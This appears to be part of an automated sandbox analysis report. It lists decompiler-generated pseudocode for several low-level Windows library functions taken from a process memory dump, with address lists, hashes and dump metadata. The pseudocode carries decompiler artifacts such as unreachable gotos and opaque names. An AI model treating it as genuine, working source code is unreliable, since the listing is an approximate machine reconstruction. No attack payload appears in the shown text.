								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
								_t76 = E04692AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
								__eflags = _t76 - 0xc0000100;
								if(_t76 == 0xc0000100) {
									 *((intOrPtr*)(_t103 - 0x1c)) = E04692C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
								}
								 *((intOrPtr*)(_t103 - 4)) = _t99;
								E04692ACB();
							}
						}
					}
					L12:
					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
					_t62 = _t102;
				}
				L13:
				return E046BD0D1(_t62);
				goto L28;
			}

0x04692990
0x04692992
0x04692997
0x046929a3
0x046929a6
0x046929ab
0x046929ad
0x046929b2
0x046d5c80
0x046929b8
0x046929b8
0x046929bb
0x046929c0
0x046929c5
0x046929c6
0x046929c6
0x046929cb
0x00000000
0x00000000
0x046929cd
0x046929d0
0x046929d9
0x046929db
0x046929dd
0x04692a7f
0x04692a84
0x04692a87
0x04692a89
0x046d5ca1
0x046d5ca3
0x00000000
0x04692a8f
0x04692a8f
0x00000000
0x04692a8f
0x00000000
0x046929e3
0x046929e3
0x046929e3
0x00000000
0x046929e3
0x046929dd
0x00000000
0x046929db
0x046929e6
0x046929e9
0x046929eb
0x046929ed
0x046929f3
0x046929f5
0x046929f8
0x046929fa
0x04692a97
0x04692a9a
0x04692a9d
0x04692add
0x00000000
0x04692a9f
0x04692aa2
0x04692aa5
0x04692aa8
0x04692aab
0x046d5cab
0x046d5caf
0x046d5cc5
0x046d5cda
0x046d5cdc
0x046d5cdf
0x046d5ce5
0x00000000
0x046d5ceb
0x046d5ced
0x046d5cee
0x00000000
0x046d5cee
0x046d5cb1
0x046d5cb4
0x046d5cb9
0x046d5cbb
0x00000000
0x046d5cbd
0x046d5cbd
0x00000000
0x046d5cbd
0x046d5cbb
0x04692ab1
0x04692ab1
0x04692ac4
0x04692ac6
0x04692ac6
0x00000000
0x04692ac6
0x04692aab
0x00000000
0x04692a00
0x04692a09
0x04692a0e
0x04692a21
0x04692a24
0x04692a35
0x04692a3a
0x04692a3d
0x04692a42
0x04692a59
0x04692a59
0x04692a5c
0x04692a5f
0x04692a5f
0x046929fa
0x046929f3
0x04692a64
0x04692a64
0x04692a6b
0x04692a6b
0x04692a6d
0x04692a72
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9e7308a8e38ec4f2427db3d4fc56293ebc70adfa37a6baafb5ecf7aaf000a60
Instruction ID: b5a39e3f7873d06f6f0b50980acf9e1e47b5e417e0afe5204dbe0d7cdb5f5eda
Opcode Fuzzy Hash: c9e7308a8e38ec4f2427db3d4fc56293ebc70adfa37a6baafb5ecf7aaf000a60
Instruction Fuzzy Hash: 21516E72A00209EFDF25DF55C890ADEBBB9BF58314F008499E805AB320E375AD52DF90

Uniqueness

Uniqueness Score: -1.00%

Function 04694D3B, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E04694D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				char _v176;
				char _v177;
				char _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t42;
				char* _t44;
				intOrPtr _t46;
				intOrPtr _t50;
				char* _t57;
				intOrPtr _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x475d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				E046AFA60( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x4757bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E046AB0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
						}
						_v177 = 1;
						_t44 = L04684620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = E0466CCC0(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E046AB640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E046AF380(_t67 + 0xc, 0x4645138, 0x10) == 0) {
								 *0x47560d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E04694F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				if(E04694E70(0x47586b0, 0x4695690, 0, 0) != 0) {
					_t46 = E0466CCC0(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x04694d3b
0x04694d4d
0x04694d53
0x04694d58
0x04694d65
0x04694d6c
0x04694d71
0x04694d77
0x04694d7f
0x04694d8c
0x04694d8e
0x04694dad
0x04694db0
0x04694db7
0x04694db8
0x04694db9
0x04694dba
0x04694dbb
0x04694dc1
0x04694dc8
0x04694dcc
0x04694dd5
0x04694dde
0x04694ddf
0x04694de0
0x04694de1
0x04694de6
0x04694de7
0x04694de9
0x04694df3
0x00000000
0x00000000
0x046d6c7c
0x046d6c8a
0x046d6c8a
0x046d6c9d
0x046d6ca7
0x046d6cac
0x046d6cb2
0x046d6cb9
0x00000000
0x046d6cbf
0x046d6cbf
0x00000000
0x046d6cbf
0x046d6cb9
0x04694dfb
0x046d6ccf
0x046d6cd3
0x04694e32
0x04694e39
0x046d6ce0
0x046d6cf2
0x046d6cf2
0x046d6ce0
0x04694e3f
0x04694e41
0x04694e51
0x04694e51
0x04694e03
0x04694e03
0x04694e09
0x04694e0f
0x04694e57
0x00000000
0x00000000
0x04694e1b
0x04694e30
0x04694e5b
0x04694e5b
0x00000000
0x04694e30
0x04694e11
0x04694e11
0x04694e16
0x00000000
0x04694e16
0x04694e01
0x00000000
0x04694e01
0x04694da5
0x046d6c6b
0x00000000
0x04694dab
0x04694dab
0x00000000
0x04694dab

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cbc4151d3f7ceaf358f7436f52ae716419cd4b5324f86fc9ff3d1a9b2e9f958
Instruction ID: 33f71cfd38934c3a149ffd10947b6cc80ef4cb8fbc75ce54ed40f2b195ce1b2d
Opcode Fuzzy Hash: 8cbc4151d3f7ceaf358f7436f52ae716419cd4b5324f86fc9ff3d1a9b2e9f958
Instruction Fuzzy Hash: 7C41DDB1A44318AFEF219F14CD80BAAB7E9EB44614F00409AE9459B380FBB4FD45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04694BAD, Relevance: .1, Instructions: 131
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E04694BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v156;
				short _v158;
				intOrPtr _v160;
				char _v164;
				intOrPtr _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				intOrPtr _t84;
				char* _t85;
				void* _t86;
				intOrPtr _t87;
				signed short _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x475d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E0466CC50(_t86);
					L11:
					return E046AB640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0) {
					goto L22;
				}
				_t8 = _t77 + 0x34; // 0xdce0ba00
				if(_t45 !=  *_t8) {
					goto L22;
				}
				_t9 = _t77 + 0x24; // 0x4758504
				E04682280(_t9, _t9);
				_t87 = 0x78;
				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
				E046AFA60( &_v156, 0, _t87);
				_t13 = _t77 + 0x30; // 0x3db8
				_t85 =  &_v156;
				_v36 =  *_t13;
				_v28 = _v168;
				_v32 = 0;
				_v24 = 0;
				_v20 = _v158;
				_v160 = 0;
				while(1) {
					_push( &_v164);
					_push(_t87);
					_push(_t85);
					_push(0x18);
					_push( &_v36);
					_push(0x1e);
					_t88 = E046AB0B0();
					if(_t88 != 0xc0000023) {
						break;
					}
					if(_t85 !=  &_v156) {
						L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
					}
					_t84 = L04684620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
					_v168 = _v164;
					if(_t84 == 0) {
						_t88 = 0xc0000017;
						goto L19;
					} else {
						_t74 = _v160 + 1;
						_v160 = _t74;
						if(_t74 >= 0x10) {
							L19:
							_t86 = E0466CCC0(_t88);
							if(_t86 != 0) {
								L8:
								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
								_t30 = _t77 + 0x24; // 0x4758504
								E0467FFB0(_t77, _t84, _t30);
								if(_t84 != 0 && _t84 !=  &_v156) {
									L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
								}
								if(_t86 != 0) {
									goto L12;
								} else {
									goto L11;
								}
							}
							L6:
							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
							if(_v164 != 0) {
								_t83 = _t84;
								E04694F49(_t77, _t84);
							}
							goto L8;
						}
						_t87 = _v168;
						continue;
					}
				}
				if(_t88 != 0) {
					goto L19;
				}
				goto L6;
			}

0x04694bad
0x04694bbf
0x04694bc2
0x04694bc6
0x04694bcd
0x04694bd9
0x046d67fe
0x046d6800
0x04694ccc
0x04694ccd
0x04694cb7
0x04694cc9
0x04694cc9
0x04694bdf
0x04694be5
0x00000000
0x00000000
0x04694beb
0x04694bef
0x00000000
0x00000000
0x04694bf5
0x04694bf9
0x04694c06
0x04694c0b
0x04694c17
0x04694c1c
0x04694c1f
0x04694c25
0x04694c33
0x04694c3d
0x04694c40
0x04694c43
0x04694c47
0x04694c4d
0x04694c53
0x04694c54
0x04694c55
0x04694c56
0x04694c5b
0x04694c5c
0x04694c63
0x04694c6b
0x00000000
0x00000000
0x046d6776
0x046d6784
0x046d6784
0x046d679f
0x046d67a7
0x046d67af
0x046d67ce
0x00000000
0x046d67b1
0x046d67b7
0x046d67b8
0x046d67c1
0x046d67d3
0x046d67d9
0x046d67dd
0x04694c94
0x04694c94
0x04694c98
0x04694c9c
0x04694ca3
0x046d67f4
0x046d67f4
0x04694cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x04694cb5
0x04694c79
0x04694c7e
0x04694c89
0x04694c8b
0x04694c8f
0x04694c8f
0x00000000
0x04694c89
0x046d67c3
0x00000000
0x046d67c3
0x046d67af
0x04694c73
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0d1b6f75b9d2fc4aa638ff64d9a1a5e5495e4e2904eccb14496a263dcceaa1
Instruction ID: a4e0f30ec5757f293b99cc8bc23336cc69b83483101a9a2f4f5bc45ee95f3e1a
Opcode Fuzzy Hash: 2c0d1b6f75b9d2fc4aa638ff64d9a1a5e5495e4e2904eccb14496a263dcceaa1
Instruction Fuzzy Hash: 3C418F75E00628DEDF20DF64C940BEA77B8AF45710F0105A9E908AB340FB74AE85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 04678A0A, Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E04678A0A(intOrPtr* __ecx, signed int __edx) {
				signed int _v8;
				char _v524;
				signed int _v528;
				void* _v532;
				char _v536;
				char _v540;
				char _v544;
				intOrPtr* _v548;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t44;
				void* _t46;
				void* _t48;
				signed int _t53;
				signed int _t55;
				intOrPtr* _t62;
				void* _t63;
				unsigned int _t75;
				signed int _t79;
				unsigned int _t81;
				unsigned int _t83;
				signed int _t84;
				void* _t87;

				_t76 = __edx;
				_v8 =  *0x475d360 ^ _t84;
				_v536 = 0x200;
				_t79 = 0;
				_v548 = __edx;
				_v544 = 0;
				_t62 = __ecx;
				_v540 = 0;
				_v532 =  &_v524;
				if(__edx == 0 || __ecx == 0) {
					L6:
					return E046AB640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
				} else {
					_v528 = 0;
					E0467E9C0(1, __ecx, 0, 0,  &_v528);
					_t44 = _v528;
					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
					_t46 = 0xa;
					_t87 = _t81 - _t46;
					if(_t87 > 0 || _t87 == 0) {
						 *_v548 = 0x4641180;
						L5:
						_t79 = 1;
						goto L6;
					} else {
						_t48 = E04691DB5(_t62,  &_v532,  &_v536);
						_t76 = _v528;
						if(_t48 == 0) {
							L9:
							E046A3C2A(_t81, _t76,  &_v544);
							 *_v548 = _v544;
							goto L5;
						}
						_t62 = _v532;
						if(_t62 != 0) {
							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
							_t53 =  *_t62;
							_v528 = _t53;
							if(_t53 != 0) {
								_t63 = _t62 + 4;
								_t55 = _v528;
								do {
									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
										if(E04678999(_t63,  &_v540) == 0) {
											_t55 = _v528;
										} else {
											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
											_t55 = _v528;
											if(_t75 >= _t83) {
												_t83 = _t75;
											}
										}
									}
									_t63 = _t63 + 0x14;
									_t55 = _t55 - 1;
									_v528 = _t55;
								} while (_t55 != 0);
								_t62 = _v532;
							}
							if(_t62 !=  &_v524) {
								L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
							}
							_t76 = _t83 & 0x0000ffff;
							_t81 = _t83 >> 0x10;
						}
						goto L9;
					}
				}
			}

0x04678a0a
0x04678a1c
0x04678a23
0x04678a2e
0x04678a30
0x04678a36
0x04678a3c
0x04678a3e
0x04678a4a
0x04678a52
0x04678a9c
0x04678aae
0x04678a58
0x04678a5e
0x04678a6a
0x04678a6f
0x04678a75
0x04678a7d
0x04678a85
0x04678a86
0x04678a89
0x04678a93
0x04678a99
0x04678a9b
0x00000000
0x04678aaf
0x04678abe
0x04678ac3
0x04678acb
0x04678ad7
0x04678ae0
0x04678af1
0x00000000
0x04678af1
0x04678acd
0x04678ad5
0x04678afb
0x04678afd
0x04678aff
0x04678b07
0x04678b22
0x04678b24
0x04678b2a
0x04678b2e
0x04678b3f
0x04678b78
0x04678b41
0x04678b52
0x04678b54
0x04678b5c
0x04678b74
0x04678b74
0x04678b5c
0x04678b3f
0x04678b5e
0x04678b61
0x04678b64
0x04678b64
0x04678b6c
0x04678b6c
0x04678b11
0x046c9cd5
0x046c9cd5
0x04678b17
0x04678b1a
0x04678b1a
0x00000000
0x04678ad5
0x04678a89

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 490dbf7a0fbe1dcf6c561bfc2e434f3d15250216ecf70f1723c5d3770b9b98cc
Instruction ID: 6da5f645075011ac35905cf2e9b9e2159b4f2e8c19121876595eebda39c6888a
Opcode Fuzzy Hash: 490dbf7a0fbe1dcf6c561bfc2e434f3d15250216ecf70f1723c5d3770b9b98cc
Instruction Fuzzy Hash: 22415EB1A402289BDB24EF55C88CAA9B3B8EB54700F1045EAD91997351F770AE84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0472FDE2, Relevance: .1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0472FDE2(signed int* __ecx, signed int __edx, signed int _a4) {
				char _v8;
				signed int _v12;
				signed int _t29;
				char* _t32;
				char* _t43;
				signed int _t80;
				signed int* _t84;

				_push(__ecx);
				_push(__ecx);
				_t56 = __edx;
				_t84 = __ecx;
				_t80 = E0472FD4E(__ecx, __edx);
				_v12 = _t80;
				if(_t80 != 0) {
					_t29 =  *__ecx & _t80;
					_t74 = (_t80 - _t29 >> 4 << __ecx[1]) + _t29;
					if(__edx <= (_t80 - _t29 >> 4 << __ecx[1]) + _t29) {
						E04730A13(__ecx, _t80, 0, _a4);
						_t80 = 1;
						if(E04687D50() == 0) {
							_t32 = 0x7ffe0380;
						} else {
							_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							_push(3);
							L21:
							E04721608( *((intOrPtr*)(_t84 + 0x3c)), _t56);
						}
						goto L22;
					}
					if(( *(_t80 + 0xc) & 0x0000000c) != 8) {
						_t80 = E04732B28(__ecx[0xc], _t74, __edx, _a4,  &_v8);
						if(_t80 != 0) {
							_t66 =  *((intOrPtr*)(_t84 + 0x2c));
							_t77 = _v8;
							if(_v8 <=  *((intOrPtr*)( *((intOrPtr*)(_t84 + 0x2c)) + 0x28)) - 8) {
								E0472C8F7(_t66, _t77, 0);
							}
						}
					} else {
						_t80 = E0472DBD2(__ecx[0xb], _t74, __edx, _a4);
					}
					if(E04687D50() == 0) {
						_t43 = 0x7ffe0380;
					} else {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t43 == 0 || ( *( *[fs:0x30] + 0x240) & 0x00000001) == 0 || _t80 == 0) {
						goto L22;
					} else {
						_push((0 | ( *(_v12 + 0xc) & 0x0000000c) != 0x00000008) + 2);
						goto L21;
					}
				} else {
					_push(__ecx);
					_push(_t80);
					E0472A80D(__ecx[0xf], 9, __edx, _t80);
					L22:
					return _t80;
				}
			}

0x0472fde7
0x0472fde8
0x0472fdec
0x0472fdee
0x0472fdf5
0x0472fdf7
0x0472fdfc
0x0472fe19
0x0472fe22
0x0472fe26
0x0472fec6
0x0472fecd
0x0472fed5
0x0472fee7
0x0472fed7
0x0472fee0
0x0472fee0
0x0472feef
0x0472ff00
0x0472ff02
0x0472ff07
0x0472ff07
0x00000000
0x0472feef
0x0472fe33
0x0472fe55
0x0472fe59
0x0472fe5b
0x0472fe5e
0x0472fe69
0x0472fe6d
0x0472fe6d
0x0472fe69
0x0472fe35
0x0472fe41
0x0472fe41
0x0472fe79
0x0472fe8b
0x0472fe7b
0x0472fe84
0x0472fe84
0x0472fe93
0x00000000
0x0472fea8
0x0472feba
0x00000000
0x0472feba
0x0472fdfe
0x0472fe01
0x0472fe02
0x0472fe08
0x0472ff0c
0x0472ff14
0x0472ff14

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction ID: 176df5eec7ca5fbadeb1f7f3a5de48422fb4965c378a211513dd2ad5d0123f87
Opcode Fuzzy Hash: 3ef4319804cf21a17d71333ba11752c881d61f5af92be3a911c0d40f229f6d46
Instruction Fuzzy Hash: 4231F432700650AFE3229B78CA48F6ABBF9EB85750F184159E4468B346EA74FC41D720

Uniqueness

Uniqueness Score: -1.00%

Function 0472EA55, Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0472EA55(intOrPtr* __ecx, char __edx, signed int _a4) {
				signed int _v8;
				char _v12;
				intOrPtr _v15;
				char _v16;
				intOrPtr _v19;
				void* _v28;
				intOrPtr _v36;
				void* __ebx;
				void* __edi;
				signed char _t26;
				signed int _t27;
				char* _t40;
				unsigned int* _t50;
				intOrPtr* _t58;
				unsigned int _t59;
				char _t75;
				signed int _t86;
				intOrPtr _t88;
				intOrPtr* _t91;

				_t75 = __edx;
				_t91 = __ecx;
				_v12 = __edx;
				_t50 = __ecx + 0x30;
				_t86 = _a4 & 0x00000001;
				if(_t86 == 0) {
					E04682280(_t26, _t50);
					_t75 = _v16;
				}
				_t58 = _t91;
				_t27 = E0472E815(_t58, _t75);
				_v8 = _t27;
				if(_t27 != 0) {
					E0466F900(_t91 + 0x34, _t27);
					if(_t86 == 0) {
						E0467FFB0(_t50, _t86, _t50);
					}
					_push( *((intOrPtr*)(_t91 + 4)));
					_push( *_t91);
					_t59 =  *(_v8 + 0x10);
					_t53 = 1 << (_t59 >> 0x00000002 & 0x0000003f);
					_push(0x8000);
					_t11 = _t53 - 1; // 0x0
					_t12 = _t53 - 1; // 0x0
					_v16 = ((_t59 >> 0x00000001 & 1) + (_t59 >> 0xc) << 0xc) - 1 + (1 << (_t59 >> 0x00000002 & 0x0000003f)) - (_t11 + ((_t59 >> 0x00000001 & 1) + (_t59 >> 0x0000000c) << 0x0000000c) & _t12);
					E0472AFDE( &_v12,  &_v16);
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					E0472BCD2(_v8,  *_t91,  *((intOrPtr*)(_t91 + 4)));
					_t55 = _v36;
					_t88 = _v36;
					if(E04687D50() == 0) {
						_t40 = 0x7ffe0388;
					} else {
						_t55 = _v19;
						_t40 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t40 != 0) {
						E0471FE3F(_t55, _t91, _v15, _t55);
					}
				} else {
					if(_t86 == 0) {
						E0467FFB0(_t50, _t86, _t50);
						_t75 = _v16;
					}
					_push(_t58);
					_t88 = 0;
					_push(0);
					E0472A80D(_t91, 8, _t75, 0);
				}
				return _t88;
			}

0x0472ea55
0x0472ea66
0x0472ea68
0x0472ea6c
0x0472ea6f
0x0472ea72
0x0472ea75
0x0472ea7a
0x0472ea7a
0x0472ea7e
0x0472ea80
0x0472ea85
0x0472ea8b
0x0472eab5
0x0472eabc
0x0472eabf
0x0472eabf
0x0472eaca
0x0472eace
0x0472ead0
0x0472eae4
0x0472eaeb
0x0472eaf0
0x0472eaf5
0x0472eb09
0x0472eb0d
0x0472eb1d
0x0472eb2d
0x0472eb38
0x0472eb3d
0x0472eb41
0x0472eb4a
0x0472eb60
0x0472eb4c
0x0472eb52
0x0472eb59
0x0472eb59
0x0472eb68
0x0472eb71
0x0472eb71
0x0472ea8d
0x0472ea8f
0x0472ea92
0x0472ea97
0x0472ea97
0x0472ea9b
0x0472ea9c
0x0472ea9e
0x0472eaa6
0x0472eaa6
0x0472eb7e

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction ID: c4abd8e69bd3ccce3f50db94b034aa8cd4919782cd62b51f266da33f8271d655
Opcode Fuzzy Hash: f5f831e91637f778ab1786019c0fe1c1c634a5059deceac50859eb6d9a86e6aa
Instruction Fuzzy Hash: 7131A172604715ABD729DF28C984E6BB7A9FBC0214F044A2DE59687740EF34F809CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 046E69A6, Relevance: .1, Instructions: 108
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E046E69A6(signed short* __ecx, void* __eflags) {
				signed int _v8;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				char* _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				char _v60;
				signed int _v64;
				char _v68;
				char _v72;
				signed short* _v76;
				signed int _v80;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t68;
				intOrPtr _t73;
				signed short* _t74;
				void* _t77;
				void* _t78;
				signed int _t79;
				signed int _t80;

				_v8 =  *0x475d360 ^ _t80;
				_t75 = 0x100;
				_v64 = _v64 & 0x00000000;
				_v76 = __ecx;
				_t79 = 0;
				_t68 = 0;
				_v72 = 1;
				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
				_t77 = 0;
				if(L04676C59(__ecx[2], 0x100, __eflags) != 0) {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
					if(_t79 != 0 && E046E6BA3() != 0) {
						_push(0);
						_push(0);
						_push(0);
						_push(0x1f0003);
						_push( &_v64);
						if(E046A9980() >= 0) {
							E04682280(_t56, 0x4758778);
							_t77 = 1;
							_t68 = 1;
							if( *0x4758774 == 0) {
								asm("cdq");
								 *(_t79 + 0xf70) = _v64;
								 *(_t79 + 0xf74) = 0x100;
								_t75 = 0;
								_t73 = 4;
								_v60 =  &_v68;
								_v52 = _t73;
								_v36 = _t73;
								_t74 = _v76;
								_v44 =  &_v72;
								 *0x4758774 = 1;
								_v56 = 0;
								_v28 = _t74[2];
								_v48 = 0;
								_v20 = ( *_t74 & 0x0000ffff) + 2;
								_v40 = 0;
								_v32 = 0;
								_v24 = 0;
								_v16 = 0;
								if(E0466B6F0(0x464c338, 0x464c288, 3,  &_v60) == 0) {
									_v80 = _v80 | 0xffffffff;
									_push( &_v84);
									_push(0);
									_push(_v64);
									_v84 = 0xfa0a1f00;
									E046A9520();
								}
							}
						}
					}
				}
				if(_v64 != 0) {
					_push(_v64);
					E046A95D0();
					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
				}
				if(_t77 != 0) {
					E0467FFB0(_t68, _t77, 0x4758778);
				}
				_pop(_t78);
				return E046AB640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
			}

0x046e69b5
0x046e69be
0x046e69c3
0x046e69c9
0x046e69cc
0x046e69d1
0x046e69d3
0x046e69de
0x046e69e1
0x046e69ea
0x046e69f6
0x046e69fe
0x046e6a13
0x046e6a14
0x046e6a15
0x046e6a16
0x046e6a1e
0x046e6a26
0x046e6a31
0x046e6a36
0x046e6a37
0x046e6a40
0x046e6a49
0x046e6a4a
0x046e6a53
0x046e6a59
0x046e6a5d
0x046e6a5e
0x046e6a64
0x046e6a67
0x046e6a6a
0x046e6a6d
0x046e6a70
0x046e6a77
0x046e6a7d
0x046e6a86
0x046e6a89
0x046e6a9c
0x046e6a9f
0x046e6aa2
0x046e6aa5
0x046e6aaf
0x046e6ab1
0x046e6ab8
0x046e6ab9
0x046e6abb
0x046e6abe
0x046e6ac5
0x046e6ac5
0x046e6aaf
0x046e6a40
0x046e6a26
0x046e69fe
0x046e6ace
0x046e6ad0
0x046e6ad3
0x046e6ad8
0x046e6adf
0x046e6adf
0x046e6ae8
0x046e6aef
0x046e6aef
0x046e6af9
0x046e6b06

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
